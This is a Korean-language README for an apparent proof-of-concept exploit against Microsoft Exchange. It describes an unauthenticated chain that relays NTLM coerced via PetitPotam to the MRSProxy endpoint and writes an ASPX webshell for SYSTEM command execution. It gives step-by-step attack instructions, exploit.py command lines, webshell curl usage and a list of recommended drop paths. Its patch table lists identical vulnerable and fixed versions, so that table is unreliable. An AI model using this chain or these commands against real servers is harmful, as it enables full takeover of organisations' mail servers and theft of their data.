
CVE-2026-62911에 대한 개념 증명 익스플로잇: NTLM 릴레이를 통해 MRSProxy로 전달하여 Microsoft Exchange에서 사전 인증 RCE를 달성하고, SYSTEM 명령 실행을 위한 ASPX 웹쉘을 작성합니다.
Microsoft Exchange Server 사전 인증(Pre-auth) RCE. 자격 증명이 필요 없습니다.
Orange Tsai(DEVCORE)가 Pwn2Own Berlin 2026에서 3-버그 체인의 일부로 이 취약점을 사용했습니다. $200,000 상금, 완전한 SYSTEM 탈취.
Exchange는 MailboxReplicationProxyService(MRSProxy)를 두 개의 경로로 노출합니다. 그중 하나는 Extended Protection 없이 HTTP.sys에 있습니다:
| 경로 | 호스팅 | Extended Protection |
|---|---|---|
/EWS/MRSProxy.svc | IIS | 예. 안전함. |
/Microsoft.Exchange.MailboxReplicationService.ProxyService | HTTP.sys | 아니요. 릴레이 대상. |
HTTP.sys 엔드포인트는 Negotiate 인증을 수락하지만 채널 바인딩(channel binding)은 절대 확인하지 않습니다. 여기에 머신 계정 해시를 릴레이하면 Exchange는 사용자를 해당 머신으로 취급합니다. 머신 계정은 기본적으로 ms-Exch-EPI-Token-Serialization을 보유하므로 WCF 서비스가 전체 액세스를 부여합니다.
내부에 진입하면 IMailbox_Config6()가 filePath 매개변수를 받습니다. PstDestinationMailbox.ConfigPst()는 사용자가 지정한 경로를 그대로 씁니다. 확장자 검사가 없습니다. IIS 디렉터리를 가리키고 IMailbox_Connect()를 호출하면 파일이 디스크에 생성됩니다. 그 파일을 ASPX 웹셸로 만들면 끝입니다.
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
<httpsTransport authenticationScheme="Negotiate"
maxReceivedMessageSize="100000000" />
<!-- no extendedProtectionPolicy — that's the bug -->
</binding>
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
string filePath, // attacker-controlled, no validation
byte[] partitionHint, Guid mdbGuid, string mdbName,
MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// calls PSTSession.Open() — writes file at filePath
}
Exchange 2016은 2025년 10월 지원 종료(EOL)되었습니다. 2026년 8월 수정 사항은 ESU(Extended Security Updates)를 통해서만 제공됩니다. 조직이 ESU를 구매하지 않았다면 패치가 없습니다.
Attacker EX02 (trigger) EX01 (target)
│ │ │
│── PetitPotam (MS-EFSR) ──▶│ │
│ │ │
│◀── NTLM auth (EX02$) ─────│ │
│ │ │
│── relay NTLM ────────────────────────────────────▶│
│ (to MRSProxy HTTP.sys) │
│ │
│── IMailbox_Config6(path=shell.aspx) ─────────────▶│
│── IMailbox_Connect() ────────────────────────────▶│
│ │ file written
│ │
│── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
│◀── nt authority\system ────────────────────────────│
다섯 단계:
EX02에서 MS-EFSR(EfsRpcOpenFileRaw)을 트리거합니다. EX02는 머신 계정으로 다시 인증을 시도합니다. PetitPotam은 패치되지 않은 Exchange에서 인증 없이 동작합니다.
SMB 리스너가 EX02$로부터 NTLM negotiate를 포착합니다.
HTTPS를 통해 EX01의 MRSProxy로 전달합니다. 엔드포인트가 EPA를 확인하지 않으므로 릴레이가 성립합니다. 머신 계정에는 이미 Exchange 직렬화 권한이 있으므로 권한 부여가 통과됩니다.
WCF 호출을 전송합니다: C:\inetpub\wwwroot\aspnet_client\shell.aspx 같은 경로로 IMailbox_Config6를 호출한 다음 IMailbox_Connect를 호출합니다. Exchange가 파일을 씁니다.
웹셸에 접속합니다. SYSTEM 권한을 획득합니다.
의존성 설치:
pip install impacket pysocks
MRSProxy가 노출되어 있는지 확인:
python3 exploit.py --check-only \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
401 응답에 Negotiate와 함께 Microsoft-HTTPAPI/2.0이 표시되어야 합니다. 그러면 HTTP.sys 엔드포인트가 활성 상태이고 EPA가 없다는 의미입니다.
익스플로잇 실행:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
대상에서 PetitPotam에 인증이 필요한 경우:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
-u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM
SOCKS 터널을 통하는 경우:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--socks 127.0.0.1 --socks-port 10800
다른 쓰기 위치를 선택하는 경우:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
--webshell-url '/owa/auth/x.aspx'
셸이 생성되었는지 확인:
python3 exploit.py --verify-only \
-t 192.168.1.10 \
--webshell-url '/aspnet_client/system_web/shell.aspx'
사용:
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"
승인된 테스트 전용입니다. 어떤 시스템에 대해 실행하기 전에 서면 허가를 받으십시오.
| 제품 | 취약한 버전 | 수정 버전 | KB |
|---|
| Exchange 2016 CU23 | 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
| 디스크 경로 | URL | 이유 |
|---|
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx | /aspnet_client/system_web/shell.aspx | 기본 IIS 클라이언트 스크립트 디렉터리. 일반적으로 쓰기 가능하며 ASPX를 서빙함. |
C:\inetpub\wwwroot\aspnet_client\shell.aspx | /aspnet_client/shell.aspx | 동일하지만 더 짧음. |
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx | /owa/auth/shell.aspx | OWA 인증 폴더. |
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx | /ecp/auth/shell.aspx | ECP 인증 폴더. |